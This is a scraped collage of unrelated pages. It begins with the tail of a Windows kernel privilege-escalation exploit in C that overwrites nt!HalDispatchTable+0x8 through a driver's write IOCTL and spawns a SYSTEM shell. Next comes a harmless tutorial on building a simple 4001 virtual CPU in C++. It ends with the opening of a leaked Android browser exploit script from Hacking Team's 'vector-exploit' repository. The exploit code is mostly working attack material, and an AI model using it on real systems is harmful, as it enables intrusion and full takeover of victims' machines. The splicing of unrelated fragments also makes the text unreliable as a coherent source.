    							inBuf15[0] = one15;
    							inBuf15[1] = two15;
    							inBuf15[2] = three15;
    							inBuf15[3] = four15;
    
    							// Interact with the driver
    							DWORD bytesReturned15 = 0;
    
    							BOOL interact14 = DeviceIoControl(
    								driverHandle,
    								IOCTL_WRITE_CODE,
    								&inBuf15,
    								sizeof(inBuf15),
    								&inBuf15,
    								sizeof(inBuf15),
    								&bytesReturned15,
    								NULL
    							);
    
    							// Error handling
    							if (!interact14)
    							{
    								printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
    							}
    							else
    							{
    								printf("[+] Successfully overwrote the pointer at nt!HalDispatchTable+0x8!\n");
    
    								// Locating nt!NtQueryIntervalProfile
    								NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
    									GetModuleHandle(
    										TEXT("ntdll.dll")),
    									"NtQueryIntervalProfile"
    								);
    
    								// Error handling
    								if (!NtQueryIntervalProfile)
    								{
    									printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
    									exit(1);
    								}
    								else
    								{
    									// Print update for found ntdll!NtQueryIntervalProfile
    									printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);
    
    									// Calling nt!NtQueryIntervalProfile
    									ULONG exploit = 0;
    
    									NtQueryIntervalProfile(
    										0x1234,
    										&exploit
    									);
    
    									// Restoring nt!HalDispatchTable+0x8
    									// Buffer to send to the driver (write primitive)
    									unsigned long long inBuf16[4];
    
    									// Values to send
    									unsigned long long one16 = 0x4141414141414141;
    									unsigned long long two16 = halDispatch;
    									unsigned long long three16 = 0x0000000000000000;
    									unsigned long long four16 = preservedHal;
    
    									// Assign the values
    									inBuf16[0] = one16;
    									inBuf16[1] = two16;
    									inBuf16[2] = three16;
    									inBuf16[3] = four16;
    
    									// Interact with the driver
    									DWORD bytesReturned16 = 0;
    
    									BOOL interact15 = DeviceIoControl(
    										driverHandle,
    										IOCTL_WRITE_CODE,
    										&inBuf16,
    										sizeof(inBuf16),
    										&inBuf16,
    										sizeof(inBuf16),
    										&bytesReturned16,
    										NULL
    									);
    
    									// Error handling
    									if (!interact15)
    									{
    										printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
    									}
    									else
    									{
    										printf("[+] Successfully restored the pointer at nt!HalDispatchTable+0x8!\n");
    										printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");
    
    										// Spawning an NT AUTHORITY\SYSTEM shell
    										system("cmd.exe /c cmd.exe /K cd C:\\");
    									}
    								}
    							}
    						}
    					}
    				}
    			}
    		}
    	}
    }
    
    // Call exploitWork()
    void main(void)
    {
    	exploitWork();
    }
    
[/code]

**<img src='data:image/svg+xml,%3csvg class='svg-inline--fa fa-tags fa-w-20
fa-fw js-evernote-checked' aria-hidden='true' data-prefix='fas' data-
icon='tags' role='img' xmlns='http://www.w3.org/2000/svg' viewBox='0 0 640
512' data-fa-i2svg='' data-evernote-id='6'%3e%3cpath fill='currentColor'
d='M497.941 225.941L286.059 14.059A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0
48v204.118a48 48 0 0 0 14.059 33.941l211.882 211.882c18.744 18.745 49.136
18.746 67.882 0l204.118-204.118c18.745-18.745 18.745-49.137 0-67.882zM112
160c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48
48zm513.941 133.823L421.823 497.941c-18.745 18.745-49.137 18.745-67.882
0l-.36-.36L527.64 323.522c16.999-16.999 26.36-39.6
26.36-63.64s-9.362-46.641-26.36-63.64L331.397 0h48.721a48 48 0 0 1 33.941
14.059l211.882 211.882c18.745 18.745 18.745 49.137 0
67.882z'%3e%3c/path%3e%3c/svg%3e' />Tags:** posts

**<img src='data:image/svg+xml,%3csvg class='svg-inline--fa fa-calendar-alt
fa-w-14 fa-fw js-evernote-checked' aria-hidden='true' data-prefix='fas' data-
icon='calendar-alt' role='img' xmlns='http://www.w3.org/2000/svg' viewBox='0 0
448 512' data-fa-i2svg='' data-evernote-id='7'%3e%3cpath fill='currentColor'
d='M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5
48-48V192H0v272zm320-196c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4
12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4
12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM192 268c0-6.6 5.4-12
12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6
0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0
6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM64 268c0-6.6 5.4-12 12-12h40c6.6
0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6
5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6
0-12-5.4-12-12v-40zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16
16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0
112v48h448v-48c0-26.5-21.5-48-48-48z'%3e%3c/path%3e%3c/svg%3e' />Updated:**
May 16, 2021

#### Share on

<img src='data:image/svg+xml,%3csvg class='svg-inline--fa fa-twitter fa-w-16
fa-fw js-evernote-checked' aria-hidden='true' data-prefix='fab' data-
icon='twitter' role='img' xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512
512' data-fa-i2svg='' data-evernote-id='8'%3e%3cpath fill='currentColor'
d='M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583
298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568
1.299 25.34 1.299 49.055 0 94.213-16.568
130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624
19.818 1.624 9.421 0 18.843-1.3
27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797
30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492
5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365
109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934
104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32
66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273
41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628
54.253z'%3e%3c/path%3e%3c/svg%3e' /> Twitter <img
src='data:image/svg+xml,%3csvg class='svg-inline--fa fa-facebook fa-w-14 fa-fw
js-evernote-checked' aria-hidden='true' data-prefix='fab' data-icon='facebook'
role='img' xmlns='http://www.w3.org/2000/svg' viewBox='0 0 448 512' data-
fa-i2svg='' data-evernote-id='9'%3e%3cpath fill='currentColor' d='M448
56.7v398.5c0 13.7-11.1 24.7-24.7
24.7H309.1V306.5h58.2l8.7-67.6h-67v-43.2c0-19.6 5.4-32.9
33.5-32.9h35.8v-60.5c-6.2-.8-27.4-2.7-52.2-2.7-51.6 0-87 31.5-87
89.4v49.9h-58.4v67.6h58.4V480H24.7C11.1 480 0 468.9 0 455.3V56.7C0 43.1 11.1
32 24.7 32h398.5c13.7 0 24.8 11.1 24.8 24.7z'%3e%3c/path%3e%3c/svg%3e' />
Facebook <img src='data:image/svg+xml,%3csvg class='svg-inline--fa fa-google-
plus fa-w-16 fa-fw js-evernote-checked' aria-hidden='true' data-prefix='fab'
data-icon='google-plus' role='img' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 496 512' data-fa-i2svg='' data-evernote-id='10'%3e%3cpath
fill='currentColor' d='M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248
248-111.1 248-248S384.9 8 248 8zm-70.7 372c-68.8 0-124-55.5-124-124s55.2-124
124-124c31.3 0 60.1 11 83 32.3l-33.6 32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9
0-77.2 35.5-77.2 78.1s34.2 78.1 77.2 78.1c32.6 0 64.9-19.1
70.1-53.3h-70.1v-42.6h116.9c1.3 6.8 1.9 13.6 1.9 20.7 0 70.8-47.5 121.2-118.8
121.2zm230.2-106.2v35.5H372v-35.5h-35.5v-35.5H372v-35.5h35.5v35.5h35.2v35.5h-35.2z'%3e%3c/path%3e%3c/svg%3e'
/> Google+ <img src='data:image/svg+xml,%3csvg class='svg-inline--fa fa-
linkedin fa-w-14 fa-fw js-evernote-checked' aria-hidden='true' data-
prefix='fab' data-icon='linkedin' role='img'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 448 512' data-fa-i2svg=''
data-evernote-id='11'%3e%3cpath fill='currentColor' d='M416 32H31.9C14.3 32 0
46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5
32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4
416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2
96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1
243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9
54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7
44.3 79.7 101.9V416z'%3e%3c/path%3e%3c/svg%3e' /> LinkedIn

Previous Next

# The Megalomaniac Bore: Write your own Virtual CPU in C++ \(4001 CPU\)

**Created:**| _9/29/2014 10:00:08 AM_  
---|---  
**Updated:**| _9/29/2014 10:00:08 AM_  
**Author:**| __  
**Tags:**| _Emulation_  
  

# Write your own Virtual CPU in C++ \(4001 CPU\)

I've previously covered writing my own virtual CPU, but I never really fleshed
it out and it was never a real thing... For a while, well over a year, I've
thought about returning to that same topic... Today, this is the first post in
that return.

The 4001 Processor... I'm going to borrow here from a lecture I watched by the
excellently entertaining Dr Richard Buckland of the University of New South
Wales, check him out on YouTube if you want, in one of his lectures he
discusses a simple processor within his lecture, this first processor he
creates on the board is the same processor, or very similar, I'm going to work
us through here in this post... Richard called it the 4001...  
If you want to know how to code this up and built it on Linux, then here's a
quick intro to start the series of videos.

This first processor is very simplistic, it can do just one logical thing...
Addition, it can add two numbers together, multiplication it can do, because
multiplying is just repeatedly adding... It can subtract, because subtraction
is just adding a negative number... And you can divide by repeatedly
subtracting... I know this because I once got told off for designing code with
my 486SX2 processor - which could only add and subtract in hardware - in mind,
and so it was very inefficient on later Pentium chips... It really got me into
trouble, but that's a story for another day.

So, we can add, what do we require from our functional chip in order to add?

Well, we need to have two registers in the chip, the register being where the
two sides of our addition are placed... What else... Well, we need a way to
load a value into these to registers.

So, in this most basic processor we're not looking to the future, we will add
two separate instructions to load a value into each register. Later we will
discuss changing this.

When we've got a result back into one of our registers we need to be able to
place our result somewhere else, so we need to save from one or both
registers? Well, for the sake of balancing things I'll say we'll save from
both registers.

I also want to know the values we've just saved, so I need a way to print from
our storage area... We'll therefore need an instruction to print out the value
of a given location...

And I've mentioned the "storage area", this is the RAM the random access
memory, which is the pool of places we can pull values into our registers from
and push values back to, so we'll say this area is needed... but is it part of
our processor?... No, but the processor needs to know where it is, it needs to
know a base address to look for them, and so when we create our code we'll
need to create an area of memory and tell the processor code where that memory
is.

Finally, I want the processor to be able to beep... armed with this
information we can draw our processor internal structure...

<img src='img/Temp2_8213.png' />

<img src='img/Temp2_8212.png' />

Of course two registers sat in a box don't constitute a processor, so we need
to add some other parts... We need another register which tells us how far
through our program we have gotten, this is the "Program Counter", and not
only is it a register but it has a known behaviour, "When we power on the chip
is it zero"... So it points at location zero in our memory. And it has an
active behaviour, the program counter reads the current position \(or
instruction\) it can be incremented by one.

<img src='img/Temp2_8209.png' />

Armed with a program counter our processor can now start running through the
instructions in a program...

And this is fine, technically we could run a program adding numbers through
this now... But what about the numbers, the things we're storing, well each
box in the memory grid we've already shown is a byte, that is 8 binary bits...
0 0 0 0 0 0 0 0... Each of these bits is given a value, known as its weight...
Increasing from the right to the left. The right most is known as the least
significant bit, the right most the most significant bit.

Here we can see a single byte, the top green numbers are the position from
left to right of the bits in the byte, and the red is the value we assign to
each bit... Each bit then acts like a switch, if we flip the right hand most
bit...

00000001

Then we look at the values, we have no values until the right hand position,
its value is 1, so our number is now 1...

If we flip the left hand most switch as well...

10000001

We have the value 128 and the value 1 turned on... 128 + 1 = 129... So our
binary byte now holds the value 129...

If we flip all the switches on...

11111111

We have 128 + 64 + 32 + 16 + 8 + 4 + 2 + 1... which equals 255, so our binary
byte holds 255...

And hopefully you've just spotted the problem our processor faces... If we
exceed the maximum value a byte can hold, so we add two bytes which are 255
and 1... What happens? A byte can't hold this value...

Well what happens in most hardware systems is that the binary rolls over, like
an odometer in a car does as it counts up the miles, it will eventually get to
the maximum and roll over to zero again... our byte does the same thing, from
11111111 all our bits get 1 added, and so they switch over to 00000000 and our
mathematical add operation was not successful, because 255 + 1 does not equal
the value we have of zero.

So how do we know this happened in our processor? Well we need some
indication, a flag, to be waved by our processor which says "I just
overflowed", what's what this action is called, its called overflowing, we
exceeded the number of bits we could hold and over flowed.

<img src='img/Temp2_8214.png' />

Is there anything else we need? Well, we already said subtraction is just
adding a negative number, so how do we represent a negative number?

Well, having just told you about binary we need to change it... Sorry...

We've changed the value assigned to the left most, or highest, bit.. It now
represents minus 128, what does this do to our binary?

00000001

This is nothing nothing nothing... until the right most bit, which has a value
of 1... So this still represents 1....

How about...

01010101

Well lets follow... 64 + 16 + 4 + 1 = 85

How about...

10000001

Well this is -128 + 1 = -127, the left most bit, the highest bit, being set on
totally negates the whole value... Lets look at a higher number...

11010101

This is the 85 pattern, but with the left most bit... so its -128 + 64 + 16 +
4 + 1 = -43

From 85 to minus 43, just through one bit switching, that's a powerful
change... So there must be a draw back?

Of course there is, when using a negative number in this fashion is uses up
the highest value bit we have... So now we can't hold as high a value in the
positive, because the numbers are used up... This limits our processor, so how
about we invent a new instruction which switches into and out of, or toggles,
between treating the registers as signed and unsigned? So an instruction, to
change a mode in the processor, how do we hold the status of this mode? Yes we
need another flag, and we need to say this flag is initialised as zero, or
off, so by default our processor will start with unsigned number processing,
or positive numbers only.

<img src='img/Temp2_8215.png' />

So when we're working with our processor later we need to test this flag out
by giving it a high unsigned value and then toggling the flag and reading back
the value, we should suddenly see that high signed value become a very
negative number.

That is a lot of text, and I'm sure we want to dash off to create some code to
represent this simple processor... But is there anything else we've not
thought about?

Well, we considered overflow, what about the opposite? What about if we
subtract a number from a value which results in a number less than zero? Well,
we have our signing status flag so we can say our processor automatically
switches into using signs, so activates using negatives, and it can write out
a possible negative number... But this isn't enough... what if the number
being subtracted was so large that it will be a lower negative result than the
lowest negative number we can hold?

The lowest negative number we can hold is just the negative bit set on and all
the other bits set off...

10000000

So this is -128 + 0 + 0 + 0 + 0 + 0 + 0 + 0 = -128... How do we store -129?

Well, we don't, what we get is an underflow. Like an overflow, an underflow
means the value is smaller than we can store, so we can't store it, we can't
trust the result we see in the register... So what we need do is set another
flag explaining to the world outside the processor that it could not handle
the subtraction... You guessed it, we add an underflow flag...

<img src='img/Temp2_8210.png' />

Is this enough to handle our very simple processor? Yes, I think we're there,
at least for now.

There is an awful lot of computer theory introduced here, and I can only
apologise at how poorly I'm introducing it to you, trust me though this is
better than I was introduced to most of these ideas way back in ye olden days.

Right, Code time...

**The Memory Class**

Since we're writing C++ we'll put our memory into a class, what do we need?...
Well we need an area of memory \(bytes\) we can access... As need to access
them to read the values, and write new values into the bytes... it maybe nice
to also clear the memory... And know how big the memory is...

Lets dive in...

The code will be at the bottom, complete...

And the g++ compile command used is:

g++ -std=c++11 Memory.cpp main.cpp -o cpu.o

What this tells us is we're calling the G++ compiler \(the GNU compiler for
C++\) and we want it to conform to the latest C++ language standard, and the
first file we're passing is the memory class, and then we're passing the
second file; the main file; which uses the memory, we have to pass them in
this order because we want to compile the Memory and then use it. We can't
compile the main which uses the Memory class without knowing what that class
is can we?... No. And then the final item is to output the binary as "cpu.o".

**The CPU Class**

Now we want to define our CPU class...

The new g++ compile command used is:

g++ -std=c++11 Memory.cpp CPU.cpp main.cpp -o cpu.o

As before this builds out system, but now the CPU has to use the memory and is
used by the main, so its code is built after the memory but before the main
program.

Now we have our basic CPU, what we'd want to do is call "Run" so the CPU we've
written starts to run through its program... But we've not defined the
behaviour we want... What will our virtual CPU do?

Well, we said it would run sequentially through a series of instructions... So
we're is it going to get these instructions from?

There are two options here, we could put them into some storage, some memory,
on the CPU itself... This would be called a cache, in truth on real processors
this is called the L1 and L2 cache inside the chip itself. But that does need
somewhere else to have pulled the instructions from in the first place... So
it itself read from general memory before the instructions in the cache could
be executed.

The other option therefore is just to put the instructions in the main memory,
well we have a memory class. And putting the instructions into it lets us
leave our CPU definition at Revision 0.5 and not rework our code... So, what
we can do is say add the instructions in order from memory address zero
upwards.

Now we know where the instructions come from we can say that the Program
Counter is correct we initialised it in our code at position zero, and we
reset it to zero\! Historically CPU's could pick anywhere to start from, some
used to start around the 1024 mark, so they would skip over the first memory
chip \(which were usually 1024 bytes in size\) because the first memory chip
was the first powered up and most often was the first memory chip to go bad\!
That's an off shoot, but it is something real engineers had to think about,
and many of these little quirks are still hanging over us today.

Anyway, we've said our instructions are in memory and start at position zero
in memory, what are these instructions? Well, we're going to have actual
instructions for the machine these are called "Operation Codes" or "op codes"
and we're going to have data... You've already had a hint about this from the
Memory class and its Write function, which had an address and a value.

**Op Codes**

Operation Codes are the heating heart of the processor, so we can start to
define ours...

When the CPU reads an instruction of value zero from the Program Counter
position.. It does nothing... zero... Null... Nothing... Nada... It does not
even move to the next program counter location, it just stops... Zero is what
we call the HALT instruction, we can halt our CPU.

What does this do to our Code?

**Fetch & Decode**

The run function gets a loop, moving through the instructions in memory, until
there's a zero... That's fine, but its not really what a CPU does, a real
processor actually does two things, firstly it fetches the instruction "Fetch"
is the keyword here... That's because as we've already mentioned it might be
fetching from a local cache of instructions, or having to move a chunk of
instructions from the main memory into the local cache, or just executing as
we are straight from the memory... "Fetch" can handle all this for us later
on, so we can put that function in now and only make it fetch instructions
from the main memory, but later we can expand "Fetch" without affecting our
code.

But Fetch alone is not enough, once we have an instruction we need to decode
its meaning... so "Decode" comes into play, this function puts some meaning in
to the instruction for us... Now you might be watching this blog on your PC at
home, if you are you're most likely running an Intel or an AMD brand
processor, your processor executes in a set of op codes for those kinds of
CPU... Your Apple or Android phone most likely uses a processor from a company
using the ARM type chip, the ARM instructions are different to those on the
Intel/AMD platform. But the instructions are still bytes \(numbers\)
underneath, but they mean different things because when the different brand
processors come to "Decode" the number, they can mean different things...

In our CPU we've got one number instruction... Zero, which means HALT. So we
can write our Fetch and our Decode functions and make HALT do something.

We've invented our two functions, and we've changed the Run loop, it itself
just keeps going and going... This is because we want to HALT the processor,
but what do we mean by HALT?

**Halting the Processor**

So when we halt what we want is to stop exactly as it is, the running loop
should stop, but the memory outside the CPU should stay unchanged, and the
registers and status flags should not change inside the CPU. In fact the ONLY
thing we want to change is a new flag... A new flag which says "I'm halted" to
the outside world...

This would let the system monitor the processor, think about your multi-core
machines today, in laptops and mobiles you can have lots and lots of processor
cores, but when not being used they can be put to sleep, we want our halt to
work a little like that, except we're not halting to save power, we're halting
to allow us to inspect the memory and status of the processor...

<img src='img/Temp2_8211.png' />

What does this do to our code?

Well, first of all you'll see we fix our access to the memory, to "Read" \- my
mistake - and then what we do is add the new Halt flag, default it to false
when we construct the CPU and then we change the run function to fetch the
next instruction into the decode function...

There are a couple of problems here however, firstly we're fetching directly
into the decode function...second, the fetch function is not just fetching its
incrementing the program counter for us, perhaps incrementing the program
counter should be done with some logic so that we could alter how we move to
the next op code later... What does this mean? Because we're loading the fetch
directly into the decode we don't have any way to inspect the current op code,
we need some intermediary...

How about we fetch into one of the two registers in our CPU class?

So now we could halt and know the op code?... Right?... RIGHT?.... Nope.

**Improving Fetch**

We need to think a head to what other codes we'll have, well one of them is
"Add"... Add takes two inputs, two numbers, to add them together... We only
have two registers so as we start to execute an Add we'll put one of the two
numbers we're adding into register 0 and so overwrite the op code we just
loaded... If the Add overflowed and the CPU halted, when we looked back the
status would tell us the last op code is not add, it will be the last value
put into register 0 by the add... This is called register stomping.

In our very simple system we really don't want to add more and more registers
to the CPU... And back in the olden days adding registers to CPUs was very
costly, adding a whole register just to hold the last op code could make the
chip cost prohibitively more to produce...

So, in our system here how are we going to get around this problem? We don't
want to add another register... We need some other storage... We only have one
other place data can be, the Memory... Now, I've already said some processors
used to skip over the first kilobyte of memory to start execution, well it
seems if we want to use a piece of memory as the "last op code" then we need
to make our programs start from a different location in memory...

Why make the program move? Why not just put the op code at the end? Well, we
don't know how long a program will be, nor do we know how much data the
program might want to handle, it might fill all the memory in the Memory
class... So if we say we want to reserve the first byte of memory for the last
op code, then we know that address zero is reserved, and not for use by the
program instructions or data, and we say that user provided program
instructions can't access memory address zero... This is a new rule... we can
code this into our CPU construction & reset functions, and later when we come
to add the other op codes enforce this rule.

Yes, now we could halt our CPU class and query the Memory class and know the
op code which caused the problem, this is the first step towards allow us to
Debug our CPU code.

**More Op Codes**

What other Op codes do we need? Well the next is to Load a value into Register
0... "LOAD0", and it has a following byte which is the value... so this op
code when in memory has its code value and is followed by the actual value to
load... We'll give it the op code 1, so in our memory it we were going to load
67, we would find the byte 1 and then the byte 67. This makes up the
instruction "LOAD0 67".

That was easy, how about another, Load a value into Register 1?... "Load1"...
we'll give it the op code 2... and again it is followed by a value.

And then the op code for Add... How about 3... And this puts a result
somewhere, well we'll put that result into Register 0.

The loading functions are fine, we're moving a byte from memory storage to
register storage, they're the same size because we know the architecture of
our processor and code... So we don't need any checking...? Well, what if
we're at byte 255, the highest possible byte in memory, and we see either load
instruction? The whole emulated CPU would crash, because we're reading beyond
the range of the memory.

**Memory Address Range**

The load function incrementing the program counter to pass by the data, or
even trying to read data which is already beyond the range, or the fetch
instruction trying to increment the program counter beyond the end of memory
is bad, it violates the whole idea of the memory space. So where in our CPU
code so we handle this? Well, a real processor handles this by limiting the
area the processor can address from user operation codes. You've seen this
already with the new reserved address to skip the byte we're using as a
temporary storage of the op code. This reserved address is the lower bounds of
any data, be that an op code location \(pointed to by the program counter\) or
values following an op code. And the upper bound is the max-address...

How might we want to handle this? Do we want to limit the program counter in
the Fetch function to be less than the maximum address minus the longest
instruction length? So our longest instruction is Load0 and Load1, they are
one byte plus one byte of data... the maximum address in Memory is 255... so
255 - 2 is 253, so we limit the Program counter to always be below 253?

The answer is possibly, we're making this up as we go along after all, what
cons are there to that approach? Well, we loose 2 possible bytes from the
program if the following instructions are a single byte... And we're still not
going to run the program correctly, because we need to halt... a program must
end and the CPU stop... to the last instruction has to be zero?...

Do we assume that the program counter going out of memory range is
automatically a HALT?

You can try other options in your code, I'm however going to assume an out of
range is a HALT... But what will be my range?... I'm going to avoid complex
"checking" of the length of the operation, known as look-a-head, and I'm going
to limit the program counter to never increment beyond the maximum address
less the longest instruction length, and I'm going to call this the address
ceiling. Lets jump to our code.

There are a couple of fixes in the code - to reset - and we split the Add and
Halt functionality into functions of their own, so we may call them from
different places. But mainly we're adding the new address ceiling and capping
the Fetch to call Halt upon reaching the cap...

**Other Instructions**

The other instructions we wanted were to beep... Well, we'll just add a single
op code 4 for that...

What about saving the result of an addition back to the memory? Well, this is
more complex than previous operations, out only operation is add, and the
result is placed into register 0, so we want to store the value in register 0
to a memory address, but we can't directly operate on a value in the Memory..
First we must load the target address from the program in memory into Register
1... Then write from the memory the value of register 0 into the address held
in register 1... We can not in this model processor store from register 1,
because we need at least one other register to store the target address to.
We'll give this save operation the op code 5 and it will take a second byte
the address.

And finally, we want to print a value from a memory location to screen... This
is going to be a two byte instruction, the op code and an address in memory.
We'll give this last one the op code 6.

Importantly this last instruction can print any value from memory, an op code
or data... Do we also give it access to the reserved address? I would say Yes,
because we want to debug the last op code if something goes wrong. However,
this function does not directly output a register, why is this? Well, lets
think about how we print from a memory location, can the Memory directly write
to the screen? In a real system no... First to write to the screen you have to
load the memory location into a register, so this op code 7 printing function
uses the register, it actually performs a load0 and then prints. This
instruction is another instruction which is more complex than previous
instructions, because it contains another simpler operation we already do, a
load.

Let us bring our code up to this level before we think further...

**Inputting a Program**

I mentioned in a previous blog entry I had been watching lots of videos about
the Altair 8800 computer, well we're going to pay our homage here, because we
now need to put some instructions into memory and then run them...

On the Altair one does this by setting the location in memory to point to and
then inserting a number into it. We're going to do something similar, just
starting from the base address of 1...

What will our program be? How about One plus two and then save the value and
print that stored value followed by a beep\! That's pretty much going to
exercise our whole CPU and tell me whether to this point any of the code we've
written actually works... Lets just pseudo code our program though...

Load0 1

Load1 2

Store

Print

Where do we save to and hence print from?... We can see the program is quite
short, so we could put the data at location 100 and know we're not going to
trip over it...

But that puts some data in a strange location way out in memory, how about
then we count the number of bytes we use and determine where we can safely put
our value?

Load0 \(1\) plus data \(1\) = Total Bytes 2

Load0 \(2\) plus data \(1\) = Total Bytes 4

Add \(3\)= Total Bytes 5

Store plus data \(?\) = Total Bytes 5/6... So can we add our data at 6?...

Lets look at the code:

void CPU::Store\(\)

// Load the target address into register 1

m\_Register1 = m\_TheMemory->Read\(m\_ProgramCounter\);

++m\_ProgramCounter;// Skip the memory location data

// Write the register 0 value to this address

m\_TheMemory->Write\(m\_Register1, m\_Register0\);

// Remember the order of our parameters

// was ADDRESS then VALUE\!

No, because after we write the program counter is not on the next byte, its
actually pointing to that byte we just saved at... What then happens to our
program?

The program would end up with the value 3 being stored in byte 6, which is
then Fetched as the next op code, this results in register0 and 1 being added
together again...

The net result is the program would do two adds, but the second add would do
nothing of consequence except slow down our program moving onto the Print
function... The program would still work... By sheer blind luck... Change the
values of their of the two loads the it will go crazy, try it out later.

What do we call this? Well, this is runtime corruption of our program.

Do we want our program to act in this way? No. Do we want to place the data
somewhere randomly in memory? No... What might be a good solution then?
Avoiding randomness and avoiding program corruption?

How about we add data to the first byte after the program instead of somewhere
random? Yeah, I think that's a good idea, so how big is the whole program?

2 Bytes

2 Bytes

1 Byte

2 Bytes

2 Bytes

1 Byte

1 Byte

That's a total of...11 bytes, so the first address for data is 12, after the
end of our program. This is important later\!

**Machine Code**

Now armed with our op codes, what are the bytes we're going to enter into
memory, our first machine code program, for our virtual CPU?

Adding this to the code then...

So we insert the program, and the first time we run it, we can check the bytes
in memory, and see the output... 12...? 1 + 2 = 12... Nope...

What have we done wrong \(alright, what have I done wrong?\)... yes, I've done
the print function wrong, it loads the next byte of instruction into register
1, then uses that as the address to load into register 0 and prints that to
the screen.

And when its re-run it works fine and we see 3 shown...

This completes this large and heavy introduction... In the next posts we'll
tackle the error or underflow and overflow we've set up flags for. We'll do
multiplication, subtraction and division, and we'll also update the main
program to include a serial terminal to let us input programs dynamically -
like you would on the front of the Altair...

Part 3 will be related to writing an assembler for our virtual CPU, so stick
around.  
**Source Code**  
The full source codes to this point are published on pages with this blog
here:  
Memory Header  
Memory Implementation  
CPU Header  
CPU Implementation  
Main Program  
  
  
**Part 2 here.**

# vector-exploit/script.js at master · hackedteam/vector-exploit

**Created:**| _7/15/2015 1:38:41 PM_  
---|---  
**Updated:**| _7/15/2015 1:38:41 PM_  
**Author:**| __  
**Tags:**| _android_  
  

| /\*\* @define \{boolean\} \*/  
---|---  
| var ENABLE\_DEBUG = true;  
|  
| var INVISIBLE = true;  
|  
| // \[ Logging and utility functions \]
---------------------------------------- //  
|  
| var SEND\_LOG = false;  
|  
| var INFO = function\(\)\{\};  
| // var ERR = function\(\)\{\};  
| var send\_info = function\(\)\{\};  
| var send\_error = function\(\)\{\};  
|  
| if \(ENABLE\_DEBUG === true\) \{  
|  var send\_info = function\(string\) \{  
|  var req = new XMLHttpRequest\(\);  
|  var formdata = new FormData\(\);  
|  formdata.append\("logdata", string\);  
|  req.open\("POST", "log/info", true\);  
|  req.send\(formdata\);  
|  \};  
|  
|  var send\_error = function\(string\) \{  
|  var req = new XMLHttpRequest\(\);  
|  var formdata = new FormData\(\);  
|  formdata.append\("logdata", string\);  
|  req.open\("POST", "log/error", true\);  
|  req.send\(formdata\);  
|  \};  
|  
|  ERR = function\(string\) \{  
|  if \(string === undefined\) \{  
|  string = "Unspecified error";  
|  \}  
|  
|  restorebrowserstate\(\);  
|  
|  console.log\("EXPLOIT ERROR: " + string\);  
|  send\_error\(string\);  
|  alert\("EXPLOIT ERROR: " + string\);  
|  throw new Error\(string\);  
|  \};  
|  
|  INFO = function\(string\) \{  
|  console.log\(string\);  
|  if \(SEND\_LOG === true\) \{  
|  send\_info\(string\);  
|  \}  
|  \};  
| \} else \{  
|  
|  ERR = function\(\) \{  
|  restorebrowserstate\(\);  
|  do\_redirect\(\);  
|  \};  
| \}  
|  
| function do\_redirect\(\) \{  
|  window.location.replace\("$\{B\_REDIRECT\_URI\}"\);  
|  throw Error\(\);  
| \}  
|  
| function restorebrowserstate\(\) \{  
|  // Attempt to leave the browser in a useable state \(not always possible\)  
|  if \(window\['g\_xsltobj'\] \!== undefined &&
window\['g\_xsltobj'\].alive\) \{  
|  window\['g\_xsltobj'\].terminate\(\);  
|  \}  
| \}  
|  
| function hex\(x, pad\) \{  
|  var s = x.toString\(16\);  
|  if \(pad === undefined\) return s;  
|  
|  var pads = Array\(pad+1\).join\("0"\);  
|  var result = \(pads+s\).slice\(-pads.length\);  
|  if \(s.length > result.length\) \{  
|  return s;  
|  \} else \{  
|  return result;  
|  \}  
| \}  
|  
